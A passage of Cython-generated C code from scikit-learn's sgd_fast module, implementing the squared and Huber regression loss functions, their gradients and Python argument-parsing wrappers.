(unlikely(__Pyx_ParseOptionalKeywords(__pyx_kwds, __pyx_pyargnames, 0, values, pos_args, \"dloss\") < 0)) {__pyx_filename = __pyx_f[0]; __pyx_lineno = 228; __pyx_clineno = __LINE__; goto __pyx_L3_error;}\n      }\n    } else if (PyTuple_GET_SIZE(__pyx_args) != 2) {\n      goto __pyx_L5_argtuple_error;\n    } else {\n      values[0] = PyTuple_GET_ITEM(__pyx_args, 0);\n      values[1] = PyTuple_GET_ITEM(__pyx_args, 1);\n    }\n    __pyx_v_p = __pyx_PyFloat_AsDouble(values[0]); if (unlikely((__pyx_v_p == (double)-1) && PyErr_Occurred())) {__pyx_filename = __pyx_f[0]; __pyx_lineno = 228; __pyx_clineno = __LINE__; goto __pyx_L3_error;}\n    __pyx_v_y = __pyx_PyFloat_AsDouble(values[1]); if (unlikely((__pyx_v_y == (double)-1) && PyErr_Occurred())) {__pyx_filename = __pyx_f[0]; __pyx_lineno = 228; __pyx_clineno = __LINE__; goto __pyx_L3_error;}\n  }\n  goto __pyx_L4_argument_unpacking_done;\n  __pyx_L5_argtuple_error:;\n  __Pyx_RaiseArgtupleInvalid(\"dloss\", 1, 2, 2, PyTuple_GET_SIZE(__pyx_args)); {__pyx_filename = __pyx_f[0]; __pyx_lineno = 228; __pyx_clineno = __LINE__; goto __pyx_L3_error;}\n  __pyx_L3_error:;\n  __Pyx_AddTraceback(\"sklearn.linear_model.sgd_fast.SquaredLoss.dloss\", __pyx_clineno, __pyx_lineno, __pyx_filename);\n  __Pyx_RefNannyFinishContext();\n  return NULL;\n  __pyx_L4_argument_unpacking_done:;\n  __pyx_r = __pyx_pf_7sklearn_12linear_model_8sgd_fast_11SquaredLoss_2dloss(((struct __pyx_obj_7sklearn_12linear_model_8sgd_fast_SquaredLoss *)__pyx_v_self), __pyx_v_p, __pyx_v_y);\n  __Pyx_RefNannyFinishContext();\n  return __pyx_r;\n}\n\n/* \"sklearn/linear_model/sgd_fast.pyx\":228\n *         return 0.5 * (p - y) * (p - y)\n * \n *     cpdef double dloss(self, double p, double y):             # <<<<<<<<<<<<<<\n *         return p - y\n * \n */\n\nstatic PyObject *__pyx_pf_7sklearn_12linear_model_8sgd_fast_11SquaredLoss_2dloss(struct __pyx_obj_7sklearn_12linear_model_8sgd_fast_SquaredLoss *__pyx_v_self, double __pyx_v_p, double __pyx_v_y) {\n  PyObject *__pyx_r = NULL;\n  __Pyx_RefNannyDeclarations\n  PyObject *__pyx_t_1 = NULL;\n  int __pyx_lineno = 0;\n  const char *__pyx_filename = NULL;\n  int __pyx_clineno = 0;\n  __Pyx_RefNannySetupContext(\"dloss\", 0);\n  __Pyx_XDECREF(__pyx_r);\n  __pyx_t_1 = PyFloat_FromDouble(((struct __pyx_vtabstruct_7sklearn_12linear_model_8sgd_fast_SquaredLoss *)__pyx_v_self->__pyx_base.__pyx_base.__pyx_vtab)->__pyx_base.__pyx_base.dloss(((struct __pyx_obj_7sklearn_12linear_model_8sgd_fast_LossFunction *)__pyx_v_self), __pyx_v_p, __pyx_v_y, 1)); if (unlikely(!__pyx_t_1)) {__pyx_filename = __pyx_f[0]; __pyx_lineno = 228; __pyx_clineno = __LINE__; goto __pyx_L1_error;}\n  __Pyx_GOTREF(__pyx_t_1);\n  __pyx_r = __pyx_t_1;\n  __pyx_t_1 = 0;\n  goto __pyx_L0;\n\n  __pyx_r = Py_None; __Pyx_INCREF(Py_None);\n  goto __pyx_L0;\n  __pyx_L1_error:;\n  __Pyx_XDECREF(__pyx_t_1);\n  __Pyx_AddTraceback(\"sklearn.linear_model.sgd_fast.SquaredLoss.dloss\", __pyx_clineno, __pyx_lineno, __pyx_filename);\n  __pyx_r = NULL;\n  __pyx_L0:;\n  __Pyx_XGIVEREF(__pyx_r);\n  __Pyx_RefNannyFinishContext();\n  return __pyx_r;\n}\n\n/* Python wrapper */\nstatic PyObject *__pyx_pw_7sklearn_12linear_model_8sgd_fast_11SquaredLoss_5__reduce__(PyObject *__pyx_v_self, CYTHON_UNUSED PyObject *unused); /*proto*/\nstatic PyObject *__pyx_pw_7sklearn_12linear_model_8sgd_fast_11SquaredLoss_5__reduce__(PyObject *__pyx_v_self, CYTHON_UNUSED PyObject *unused) {\n  PyObject *__pyx_r = 0;\n  __Pyx_RefNannyDeclarations\n  __Pyx_RefNannySetupContext(\"__reduce__ (wrapper)\", 0);\n  __pyx_r = __pyx_pf_7sklearn_12linear_model_8sgd_fast_11SquaredLoss_4__reduce__(((struct __pyx_obj_7sklearn_12linear_model_8sgd_fast_SquaredLoss *)__pyx_v_self));\n  __Pyx_RefNannyFinishContext();\n  return __pyx_r;\n}\n\n/* \"sklearn/linear_model/sgd_fast.pyx\":231\n *         return p - y\n * \n *     def __reduce__(self):             # <<<<<<<<<<<<<<\n *         return SquaredLoss, ()\n * \n */\n\nstatic PyObject *__pyx_pf_7sklearn_12linear_model_8sgd_fast_11SquaredLoss_4__reduce__(CYTHON_UNUSED struct __pyx_obj_7sklearn_12linear_model_8sgd_fast_SquaredLoss *__pyx_v_self) {\n  PyObject *__pyx_r = NULL;\n  __Pyx_RefNannyDeclarations\n  PyObject *__pyx_t_1 = NULL;\n  int __pyx_lineno = 0;\n  const char *__pyx_filename = NULL;\n  int __pyx_clineno = 0;\n  __Pyx_RefNannySetupContext(\"__reduce__\", 0);\n\n  /* \"sklearn/linear_model/sgd_fast.pyx\":232\n * \n *     def __reduce__(self):\n *         return SquaredLoss, ()             # <<<<<<<<<<<<<<\n * \n * \n */\n  __Pyx_XDECREF(__pyx_r);\n  __pyx_t_1 = PyTuple_New(2); if (unlikely(!__pyx_t_1)) {__pyx_filename = __pyx_f[0]; __pyx_lineno = 232; __pyx_clineno = __LINE__; goto __pyx_L1_error;}\n  __Pyx_GOTREF(__pyx_t_1);\n  __Pyx_INCREF(((PyObject *)((PyObject*)__pyx_ptype_7sklearn_12linear_model_8sgd_fast_SquaredLoss)));\n  PyTuple_SET_ITEM(__pyx_t_1, 0, ((PyObject *)((PyObject*)__pyx_ptype_7sklearn_12linear_model_8sgd_fast_SquaredLoss)));\n  __Pyx_GIVEREF(((PyObject *)((PyObject*)__pyx_ptype_7sklearn_12linear_model_8sgd_fast_SquaredLoss)));\n  __Pyx_INCREF(((PyObject *)__pyx_empty_tuple));\n  PyTuple_SET_ITEM(__pyx_t_1, 1, ((PyObject *)__pyx_empty_tuple));\n  __Pyx_GIVEREF(((PyObject *)__pyx_empty_tuple));\n  __pyx_r = ((PyObject *)__pyx_t_1);\n  __pyx_t_1 = 0;\n  goto __pyx_L0;\n\n  __pyx_r = Py_None; __Pyx_INCREF(Py_None);\n  goto __pyx_L0;\n  __pyx_L1_error:;\n  __Pyx_XDECREF(__pyx_t_1);\n  __Pyx_AddTraceback(\"sklearn.linear_model.sgd_fast.SquaredLoss.__reduce__\", __pyx_clineno, __pyx_lineno, __pyx_filename);\n  __pyx_r = NULL;\n  __pyx_L0:;\n  __Pyx_XGIVEREF(__pyx_r);\n  __Pyx_RefNannyFinishContext();\n  return __pyx_r;\n}\n\n/* Python wrapper */\nstatic int __pyx_pw_7sklearn_12linear_model_8sgd_fast_5Huber_1__init__(PyObject *__pyx_v_self, PyObject *__pyx_args, PyObject *__pyx_kwds); /*proto*/\nstatic int __pyx_pw_7sklearn_12linear_model_8sgd_fast_5Huber_1__init__(PyObject *__pyx_v_self, PyObject *__pyx_args, PyObject *__pyx_kwds) {\n  double __pyx_v_c;\n  int __pyx_r;\n  __Pyx_RefNannyDeclarations\n  __Pyx_RefNannySetupContext(\"__init__ (wrapper)\", 0);\n  {\n    static PyObject **__pyx_pyargnames[] = {&__pyx_n_s__c,0};\n    PyObject* values[1] = {0};\n    if (unlikely(__pyx_kwds)) {\n      Py_ssize_t kw_args;\n      const Py_ssize_t pos_args = PyTuple_GET_SIZE(__pyx_args);\n      switch (pos_args) {\n        case  1: values[0] = PyTuple_GET_ITEM(__pyx_args, 0);\n        case  0: break;\n        default: goto __pyx_L5_argtuple_error;\n      }\n      kw_args = PyDict_Size(__pyx_kwds);\n      switch (pos_args) {\n        case  0:\n        if (likely((values[0] = PyDict_GetItem(__pyx_kwds, __pyx_n_s__c)) != 0)) kw_args--;\n        else goto __pyx_L5_argtuple_error;\n      }\n      if (unlikely(kw_args > 0)) {\n        if (unlikely(__Pyx_ParseOptionalKeywords(__pyx_kwds, __pyx_pyargnames, 0, values, pos_args, \"__init__\") < 0)) {__pyx_filename = __pyx_f[0]; __pyx_lineno = 246; __pyx_clineno = __LINE__; goto __pyx_L3_error;}\n      }\n    } else if (PyTuple_GET_SIZE(__pyx_args) != 1) {\n      goto __pyx_L5_argtuple_error;\n    } else {\n      values[0] = PyTuple_GET_ITEM(__pyx_args, 0);\n    }\n    __pyx_v_c = __pyx_PyFloat_AsDouble(values[0]); if (unlikely((__pyx_v_c == (double)-1) && PyErr_Occurred())) {__pyx_filename = __pyx_f[0]; __pyx_lineno = 246; __pyx_clineno = __LINE__; goto __pyx_L3_error;}\n  }\n  goto __pyx_L4_argument_unpacking_done;\n  __pyx_L5_argtuple_error:;\n  __Pyx_RaiseArgtupleInvalid(\"__init__\", 1, 1, 1, PyTuple_GET_SIZE(__pyx_args)); {__pyx_filename = __pyx_f[0]; __pyx_lineno = 246; __pyx_clineno = __LINE__; goto __pyx_L3_error;}\n  __pyx_L3_error:;\n  __Pyx_AddTraceback(\"sklearn.linear_model.sgd_fast.Huber.__init__\", __pyx_clineno, __pyx_lineno, __pyx_filename);\n  __Pyx_RefNannyFinishContext();\n  return -1;\n  __pyx_L4_argument_unpacking_done:;\n  __pyx_r = __pyx_pf_7sklearn_12linear_model_8sgd_fast_5Huber___init__(((struct __pyx_obj_7sklearn_12linear_model_8sgd_fast_Huber *)__pyx_v_self), __pyx_v_c);\n  __Pyx_RefNannyFinishContext();\n  return __pyx_r;\n}\n\n/* \"sklearn/linear_model/sgd_fast.pyx\":246\n *     cdef double c\n * \n *     def __init__(self, double c):             # <<<<<<<<<<<<<<\n *         self.c = c\n * \n */\n\nstatic int __pyx_pf_7sklearn_12linear_model_8sgd_fast_5Huber___init__(struct __pyx_obj_7sklearn_12linear_model_8sgd_fast_Huber *__pyx_v_self, double __pyx_v_c) {\n  int __pyx_r;\n  __Pyx_RefNannyDeclarations\n  __Pyx_RefNannySetupContext(\"__init__\", 0);\n\n  /* \"sklearn/linear_model/sgd_fast.pyx\":247\n * \n *     def __init__(self, double c):\n *         self.c = c             # <<<<<<<<<<<<<<\n * \n *     cpdef double loss(self, double p, double y):\n */\n  __pyx_v_self->c = __pyx_v_c;\n\n  __pyx_r = 0;\n  __Pyx_RefNannyFinishContext();\n  return __pyx_r;\n}\n\n/* \"sklearn/linear_model/sgd_fast.pyx\":249\n *         self.c = c\n * \n *     cpdef double loss(self, double p, double y):             # <<<<<<<<<<<<<<\n *         cdef double r = p - y\n *         cdef double abs_r = abs(r)\n */\n\nstatic PyObject *__pyx_pw_7sklearn_12linear_model_8sgd_fast_5Huber_3loss(PyObject *__pyx_v_self, PyObject *__pyx_args, PyObject *__pyx_kwds); /*proto*/\nstatic double __pyx_f_7sklearn_12linear_model_8sgd_fast_5Huber_loss(struct __pyx_obj_7sklearn_12linear_model_8sgd_fast_Huber *__pyx_v_self, double __pyx_v_p, double __pyx_v_y, int __pyx_skip_dispatch) {\n  double __pyx_v_r;\n  double __pyx_v_abs_r;\n  double __pyx_r;\n  __Pyx_RefNannyDeclarations\n  PyObject *__pyx_t_1 = NULL;\n  PyObject *__pyx_t_2 = NULL;\n  PyObject *__pyx_t_3 = NULL;\n  PyObject *__pyx_t_4 = NULL;\n  double __pyx_t_5;\n  int __pyx_t_6;\n  int __pyx_lineno = 0;\n  const char *__pyx_filename = NULL;\n  int __pyx_clineno = 0;\n  __Pyx_RefNannySetupContext(\"loss\", 0);\n  /* Check if called by wrapper */\n  if (unlikely(__pyx_skip_dispatch)) ;\n  /* Check if overriden in Python */\n  else if (unlikely(Py_TYPE(((PyObject *)__pyx_v_self))->tp_dictoffset != 0)) {\n    __pyx_t_1 = PyObject_GetAttr(((PyObject *)__pyx_v_self), __pyx_n_s__loss); if (unlikely(!__pyx_t_1)) {__pyx_filename = __pyx_f[0]; __pyx_lineno = 249; __pyx_clineno = __LINE__; goto __pyx_L1_error;}\n    __Pyx_GOTREF(__pyx_t_1);\n    if (!PyCFunction_Check(__pyx_t_1) || (PyCFunction_GET_FUNCTION(__pyx_t_1) != (PyCFunction)__pyx_pw_7sklearn_12linear_model_8sgd_fast_5Huber_3loss)) {\n      __pyx_t_2 = PyFloat_FromDouble(__pyx_v_p); if (unlikely(!__pyx_t_2)) {__pyx_filename = __pyx_f[0]; __pyx_lineno = 249; __pyx_clineno = __LINE__; goto __pyx_L1_error;}\n      __Pyx_GOTREF(__pyx_t_2);\n      __pyx_t_3 = PyFloat_FromDouble(__pyx_v_y); if (unlikely(!__pyx_t_3)) {__pyx_filename = __pyx_f[0]; __pyx_lineno = 249; __pyx_clineno = __LINE__; goto __pyx_L1_error;}\n      __Pyx_GOTREF(__pyx_t_3);\n      __pyx_t_4 = PyTuple_New(2); if (unlikely(!__pyx_t_4)) {__pyx_filename = __pyx_f[0]; __pyx_lineno = 249; __pyx_clineno = __LINE__; goto __pyx_L1_error;}\n      __Pyx_GOTREF(__pyx_t_4);\n      PyTuple_SET_ITEM(__pyx_t_4, 0, __pyx_t_2);\n      __Pyx_GIVEREF(__pyx_t_2);\n      PyTuple_SET_ITEM(__pyx_t_4, 1, __pyx_t_3);\n      __Pyx_GIVEREF(__pyx_t_3);\n      __pyx_t_2 = 0;\n      __pyx_t_3 = 0;\n      __pyx_t_3 = PyObject_Call(__pyx_t_1, ((PyObject *)__pyx_t_4), NULL); if (unlikely(!__pyx_t_3)) {__pyx_filename = __pyx_f[0]; __pyx_lineno = 249; __pyx_clineno = __LINE__; goto __pyx_L1_error;}\n      __Pyx_GOTREF(__pyx_t_3);\n      __Pyx_DECREF(((PyObject *)__pyx_t_4)); __pyx_t_4 = 0;\n      __pyx_t_5 = __pyx_PyFloat_AsDouble(__pyx_t_3); if (unlikely((__pyx_t_5 == (double)-1) && PyErr_Occurred())) {__pyx_filename = __pyx_f[0]; __pyx_lineno = 249; __pyx_clineno = __LINE__; goto __pyx_L1_error;}\n      __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0;\n      __pyx_r = __pyx_t_5;\n      __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0;\n      goto __pyx_L0;\n    }\n    __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0;\n  }\n\n  /* \"sklearn/linear_model/sgd_fast.pyx\":250\n * \n *     cpdef double loss(self, double p, double y):\n *         cdef double r = p - y             # <<<<<<<<<<<<<<\n *         cdef double abs_r = abs(r)\n *         if abs_r <= self.c:\n */\n  __pyx_v_r = (__pyx_v_p - __pyx_v_y);\n\n  /* \"sklearn/linear_model/sgd_fast.pyx\":251\n *     cpdef double loss(self, double p, double y):\n *         cdef double r = p - y\n *         cdef double abs_r = abs(r)             # <<<<<<<<<<<<<<\n *         if abs_r <= self.c:\n *             return 0.5 * r * r\n */\n  __pyx_v_abs_r = fabs(__pyx_v_r);\n\n  /* \"sklearn/linear_model/sgd_fast.pyx\":252\n *         cdef double r = p - y\n *         cdef double abs_r = abs(r)\n *         if abs_r <= self.c:             # <<<<<<<<<<<<<<\n *             return 0.5 * r * r\n *         else:\n */\n  __pyx_t_6 = (__pyx_v_abs_r <= __pyx_v_self->c);\n  if (__pyx_t_6) {\n\n    /* \"sklearn/linear_model/sgd_fast.pyx\":253\n *         cdef double abs_r = abs(r)\n *         if abs_r <= self.c:\n *             return 0.5 * r * r             # <<<<<<<<<<<<<<\n *         else:\n *             return self.c * abs_r - (0.5 * self.c * self.c)\n */\n    __pyx_r = ((0.5 * __pyx_v_r) * __pyx_v_r);\n    goto __pyx_L0;\n    goto __pyx_L3;\n  }\n  /*else*/ {\n\n    /* \"sklearn/linear_model/sgd_fast.pyx\":255\n *             return 0.5 * r * r\n *         else:\n *             return self.c * abs_r - (0.5 * self.c * self.c)             # <<<<<<<<<<<<<<\n * \n *     cpdef double dloss(self, double p, double y):\n */\n    __pyx_r = ((__pyx_v_self->c * __pyx_v_abs_r) - ((0.5 * __pyx_v_self->c) * __pyx_v_self->c));\n    goto __pyx_L0;\n  }\n  __pyx_L3:;\n\n  __pyx_r = 0;\n  goto __pyx_L0;\n  __pyx_L1_error:;\n  __Pyx_XDECREF(__pyx_t_1);\n  __Pyx_XDECREF(__pyx_t_2);\n  __Pyx_XDECREF(__pyx_t_3);\n  __Pyx_XDECREF(__pyx_t_4);\n  __Pyx_WriteUnraisable(\"sklearn.linear_model.sgd_fast.Huber.loss\", __pyx_clineno, __pyx_lineno, __pyx_filename);\n  __pyx_r = 0;\n  __pyx_L0:;\n  __Pyx_RefNannyFinishContext();\n  return __pyx_r;\n}\n\n/* Python wrapper */\nstatic PyObject *__pyx_pw_7sklearn_12linear_model_8sgd_fast_5Huber_3loss(PyObject *__pyx_v_self, PyObject *__pyx_args, PyObject *__pyx_kwds); /*proto*/\nstatic PyObject *__pyx_pw_7sklearn_12linear_model_8sgd_fast_5Huber_3loss(PyObject *__pyx_v_self, PyObject *__pyx_args, PyObject *__pyx_kwds) {\n  double __pyx_v_p;\n  double __pyx_v_y;\n  PyObject *__pyx_r = 0;\n  __Pyx_RefNannyDeclarations\n  __Pyx_RefNannySetupContext(\"loss (wrapper)\", 0);\n  {\n    static PyObject **__pyx_pyargnames[] = {&__pyx_n_s__p,&__pyx_n_s__y,0};\n    PyObject* values[2] = {0,0};\n    if (unlikely(__pyx_kwds)) {\n      Py_ssize_t kw_args;\n      const Py_ssize_t pos_args = PyTuple_GET_SIZE(__pyx_args);\n      switch (pos_args) {\n        case  2: values[1] = PyTuple_GET_ITEM(__pyx_args, 1);\n        case  1: values[0] = PyTuple_GET_ITEM(__pyx_args, 0);\n        case  0: break;\n        default: goto __pyx_L5_argtuple_error;\n      }\n      kw_args = PyDict_Size(__pyx_kwds);\n      switch (pos_args) {\n        case  0:\n        if (likely((values[0] = PyDict_GetItem(__pyx_kwds, __pyx_n_s__p)) != 0)) kw_args--;\n        else goto __pyx_L5_argtuple_error;\n        case  1:\n        if (likely((values[1] = PyDict_GetItem(__pyx_kwds, __pyx_n_s__y)) != 0)) kw_args--;\n        else {\n          __Pyx_RaiseArgtupleInvalid(\"loss\", 1, 2, 2, 1); {__pyx_filename = __pyx_f[0]; __pyx_lineno = 249; __pyx_clineno = __LINE__; goto __pyx_L3_error;}\n        }\n      }\n      if (unlikely(kw_args > 0)) {\n        if (unlikely(__Pyx_ParseOptionalKeywords(__pyx_kwds, __pyx_pyargnames, 0, values, pos_args, \"loss\") < 0)) {__pyx_filename = __pyx_f[0]; __pyx_lineno = 249; __pyx_clineno = __LINE__; goto __pyx_L3_error;}\n      }\n    } else if (PyTuple_GET_SIZE(__pyx_args) != 2) {\n      goto __pyx_L5_argtuple_error;\n    } else {\n      values[0] = PyTuple_GET_ITEM(__pyx_args, 0);\n      values[1] = PyTuple_GET_ITEM(__pyx_args, 1);\n    }\n    __pyx_v_p = __pyx_PyFloat_AsDouble(values[0]); if (unlikely((__pyx_v_p == (double)-1) && PyErr_Occurred())) {__pyx_filename = __pyx_f[0]; __pyx_lineno = 249; __pyx_clineno = __LINE__; goto __pyx_L3_error;}\n    __pyx_v_y = __pyx_PyFloat_AsDouble(values[1]); if (unlikely((__pyx_v_y == (double)-1) && PyErr_Occurred())) {__pyx_filename = __pyx_f[0]; __pyx_lineno = 249; __pyx_clineno = __LINE__; goto __pyx_L3_error;}\n  }\n  goto __pyx_L4_argument_unpacking_done;\n  __pyx_L5_argtuple_error:;\n  __Pyx_RaiseArgtupleInvalid(\"loss\", 1, 2, 2, PyTuple_GET_SIZE(__pyx_args)); {__pyx_filename = __pyx_f[0]; __pyx_lineno = 249; __pyx_clineno = __LINE__; goto __pyx_L3_error;}\n  __pyx_L3_error:;\n  __Pyx_AddTraceback(\"sklearn.linear_model.sgd_fast.Huber.loss\", __pyx_clineno, __pyx_lineno, __pyx_filename);\n  __Pyx_RefNannyFinishContext();\n  return NULL;\n  __pyx_L4_argument_unpacking_done:;\n  __pyx_r = __pyx_pf_7sklearn_12linear_model_8sgd_fast_5Huber_2loss(((struct __pyx_obj_7sklearn_12linear_model_8sgd_fast_Huber *)__pyx_v_self), __pyx_v_p, __pyx_v_y);\n  __Pyx_RefNannyFinishContext();\n  return __pyx_r;\n}\n\n/* \"sklearn/linear_model/sgd_fast.pyx\":249\n *         self.c = c\n * \n *     cpdef double loss(self, double p, double y):             # <<<<<<<<<<<<<<\n *         cdef double r = p - y\n *         cdef double abs_r = abs(r)\n */\n\nstatic PyObject *__pyx_pf_7sklearn_12linear_model_8sgd_fast_5Huber_2loss(struct __pyx_obj_7sklearn_12linear_model_8sgd_fast_Huber *__pyx_v_self, double __pyx_v_p, double __pyx_v_y) {\n  PyObject *__pyx_r = NULL;\n  __Pyx_RefNannyDeclarations\n  PyObject *__pyx_t_1 = NULL;\n  int __pyx_lineno = 0;\n  const char *__pyx_filename = NULL;\n  int __pyx_clineno = 0;\n  __Pyx_RefNannySetupContext(\"loss\", 0);\n  __Pyx_XDECREF(__pyx_r);\n  __pyx_t_1 = PyFloat_FromDouble(((struct __pyx_vtabstruct_7sklearn_12linear_model_8sgd_fast_Huber *)__pyx_v_self->__pyx_base.__pyx_base.__pyx_vtab)->__pyx_base.__pyx_base.loss(((struct __pyx_obj_7sklearn_12linear_model_8sgd_fast_LossFunction *)__pyx_v_self), __pyx_v_p, __pyx_v_y, 1)); if (unlikely(!__pyx_t_1)) {__pyx_filename = __pyx_f[0]; __pyx_lineno = 249; __pyx_clineno = __LINE__; goto __pyx_L1_error;}\n  __Pyx_GOTREF(__pyx_t_1);\n  __pyx_r = __pyx_t_1;\n  __pyx_t_1 = 0;\n  goto __pyx_L0;\n\n  __pyx_r = Py_None; __Pyx_INCREF(Py_None);\n  goto __pyx_L0;\n  __pyx_L1_error:;\n  __Pyx_XDECREF(__pyx_t_1);\n  __Pyx_AddTraceback(\"sklearn.linear_model.sgd_fast.Huber.loss\", __pyx_clineno, __pyx_lineno, __pyx_filename);\n  __pyx_r = NULL;\n  __pyx_L0:;\n  __Pyx_XGIVEREF(__pyx_r);\n  __Pyx_RefNannyFinishContext();\n  return __pyx_r;\n}\n\n/* \"sklearn/linear_model/sgd_fast.pyx\":257\n *             return self.c * abs_r - (0.5 * self.c * self.c)\n * \n *     cpdef double dloss(self, double p, double y):             # <<<<<<<<<<<<<<\n *         cdef double r = p - y\n *         cdef double abs_r = abs(r)\n */\n\nstatic PyObject *__pyx_pw_7sklearn_12linear_model_8sgd_fast_5Huber_5dloss(PyObject *__pyx_v_self, PyObject *__pyx_args, PyObject *__pyx_kwds); /*proto*/\nstatic double __pyx_f_7sklearn_12linear_model_8sgd_fast_5Huber_dloss(struct __pyx_obj_7sklearn_12linear_model_8sgd_fast_Huber *__pyx_v_self, double __pyx_v_p, double __pyx_v_y, int __pyx_skip_dispatch) {\n  double __pyx_v_r;\n  double __pyx_v_abs_r;\n  double __pyx_r;\n  __Pyx_RefNannyDeclarations\n  PyObject *__pyx_t_1 = NULL;\n  PyObject *__pyx_t_2 = NULL;\n  PyObject *__pyx_t_3 = NULL;\n  PyObject *__pyx_t_4 = NULL;\n  double __pyx_t_5;\n  int __pyx_t_6;\n  int __pyx_lineno = 0;\n  const char *__pyx_filename = NULL;\n  int __pyx_clineno = 0;\n  __Pyx_RefNannySetupContext(\"dloss\", 0);\n  /* Check if called by wrapper */\n  if (unlikely(__pyx_skip_dispatch)) ;\n  /* Check if overriden in Python */\n  else if (unlikely(Py_TYPE(((PyObject *)__pyx_v_self))->tp_dictoffset != 0)) {\n    __pyx_t_1 = PyObject_GetAttr(((PyObject *)__pyx_v_self), __pyx_n_s__dloss); if (unlikely(!__pyx_t_1)) {__pyx_filename = __pyx_f[0]; __pyx_lineno = 257; __pyx_clineno = __LINE__; goto __pyx_L1_error;}\n    __Pyx_GOTREF(__pyx_t_1);\n    if (!PyCFunction_Check(__pyx_t_1) || (PyCFunction_GET_FUNCTION(__pyx_t_1) != (PyCFunction)__pyx_pw_7sklearn_12linear_model_8sgd_fast_5Huber_5dloss)) {\n      __pyx_t_2 = PyFloat_FromDouble(__pyx_v_p); if (unlikely(!__pyx_t_2)) {__pyx_filename = __pyx_f[0]; __pyx_lineno = 257; __pyx_clineno = __LINE__; goto __pyx_L1_error;}\n      __Pyx_GOTREF(__pyx_t_2);\n      __pyx_t_3 = PyFloat_FromDouble(__pyx_v_y); if (unlikely(!__pyx_t_3)) {__pyx_filename = __pyx_f[0]; __pyx_lineno = 257; __pyx_clineno = __LINE__; goto __pyx_L1_error;}\n      __Pyx_GOTREF(__pyx_t_3);\n      __pyx_t_4 = PyTuple_New(2); if (unlikely(!__pyx_t_4)) {__pyx_filename = __pyx_f[0]; __pyx_lineno = 257; __pyx_clineno = __LINE__; goto __pyx_L1_error;}\n      __Pyx_GOTREF(__pyx_t_4);\n      PyTuple_SET_ITEM(__pyx_t_4, 0, __pyx_t_2);\n      __Pyx_GIVEREF(__pyx_t_2);\n      PyTuple_SET_ITEM(__pyx_t_4, 1, __pyx_t_3);\n      __Pyx_GIVEREF(__pyx_t_3);\n      __pyx_t_2 = 0;\n      __pyx_t_3 = 0;\n      __pyx_t_3 = PyObject_Call(__pyx_t_1, ((PyObject *)__pyx_t_4), NULL); if (unlikely(!__pyx_t_3)) {__pyx_filename = __pyx_f[0]; __pyx_lineno = 257; __pyx_clineno = __LINE__; goto __pyx_L1_error;}\n      __Pyx_GOTREF(__pyx_t_3);\n      __Pyx_DECREF(((PyObject *)__pyx_t_4)); __pyx_t_4 = 0;\n      __pyx_t_5 = __pyx_PyFloat_AsDouble(__pyx_t_3); if (unlikely((__pyx_t_5 == (double)-1) && PyErr_Occurred())) {__pyx_filename = __pyx_f[0]; __pyx_lineno = 257; __pyx_clineno = __LINE__; goto __pyx_L1_error;}\n      __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0;\n      __pyx_r = __pyx_t_5;\n      __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0;\n      goto __pyx_L0;\n    }\n    __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0;\n  }\n\n  /* \"sklearn/linear_model/sgd_fast.pyx\":258\n * \n *     cpdef double dloss(self, double p, double y):\n *         cdef double r = p - y             # <<<<<<<<<<<<<<\n *         cdef double abs_r = abs(r)\n *         if abs_r <= self.c:\n */\n  __pyx_v_r = (__pyx_v_p - __pyx_v_y);\n\n  /* \"sklearn/linear_model/sgd_fast.pyx\":259\n *     cpdef double dloss(self, double p, double y):\n *         cdef double r = p - y\n *         cdef double abs_r = abs(r)             # <<<<<<<<<<<<<<\n *         if abs_r <= self.c:\n *             return r\n */\n  __pyx_v_abs_r = fabs(__pyx_v_r);\n\n  /* \"sklearn/linear_model/sgd_fast.pyx\":260\n *         cdef double r = p - y\n *         cdef double abs_r = abs(r)\n *         if abs_r <= self.c:             # <<<<<<<<<<<<<<\n *             return r\n *         elif r > 0.0:\n */\n  __pyx_t_6 = (__pyx_v_abs_r <= __pyx_v_self->c);\n  if (__pyx_t_6) {\n\n    /* \"sklearn/linear_model/sgd_fast.pyx\":261\n *         cdef double abs_r = abs(r)\n *         if abs_r <= self.c:\n *             return r             # <<<<<<<<<<<<<<\n *         elif r > 0.0:\n *             return self.c\n */\n    __pyx_r = __pyx_v_r;\n    goto __pyx_L0;\n    goto __pyx_L3;\n  }\n\n  /* \"sklearn/linear_model/sgd_fast.pyx\":262\n *         if abs_r <= self.c:\n *             return r\n *         elif r > 0.0:             # <<<<<<<<<<<<<<\n *             return self.c\n *         else:\n */\n  __pyx_t_6 = (__pyx_v_r > 0.0);\n  if (__pyx_t_6) {\n\n    /* \"sklearn/linear_model/sgd_fast.pyx\":263\n *             return r\n *         elif r > 0.0:\n *             return self.c             # <<<<<<<<<<<<<<\n *         else:\n *             return -self.c\n */\n    __pyx_r = __pyx_v_self->c;\n    goto __pyx_L0;\n    goto __pyx_L3;\n  }\n  /*else*/ {\n\n    /* \"sklearn/linear_model/sgd_fast.pyx\":265\n *             return self.c\n *         else:\n *             return -self.c             # <<<<<<<<<<<<<<\n * \n *     def __reduce__(self):\n */\n    __pyx_r = (-__pyx_v_self->c);\n    goto __pyx_L0;\n  }\n  __pyx_L3:;\n\n  __pyx_r = 0;\n  goto __pyx_L0;\n  __pyx_L1_error:;\n  __Pyx_XDECREF(__pyx_t_1);\n  __Pyx_XDECREF(__pyx_t_2);\n  __Pyx_XDECREF(__pyx_t_3);\n  __Pyx_XDECREF(__pyx_t_4);\n  __Pyx_WriteUnraisable(\"sklearn.linear_model.sgd_fast.Huber.dloss\", __pyx_clineno, __pyx_lineno, __pyx_filename);\n  __pyx_r = 0;\n  __pyx_L0:;\n  __Pyx_RefNannyFinishContext();\n  return __pyx_r;\n}\n\n/* Python wrapper */\nstatic PyObject *__pyx_pw_7sklearn_12linear_model_8sgd_fast_5Huber_5dloss(PyObject *__pyx_v_self, PyObject *__pyx_args, PyObject *__pyx_kwds); /*proto*/\nstatic PyObject *__pyx_pw_7sklearn_12linear_model_8sgd_fast_5Huber_5dloss(PyObject *__pyx_v_self, PyObject *__pyx_args, PyObject *__pyx_kwds) {\n  double __pyx_v_p;\n  double __pyx_v_y;\n  PyObject *__pyx_r = 0;\n  __Pyx_RefNannyDeclarations\n  __Pyx_RefNannySetupContext(\"dloss (wrapper)\", 0);\n  {\n    static PyObject **__pyx_pyargnames[] = {&__pyx_n_s__p,&__pyx_n_s__y,0};\n    PyObject* 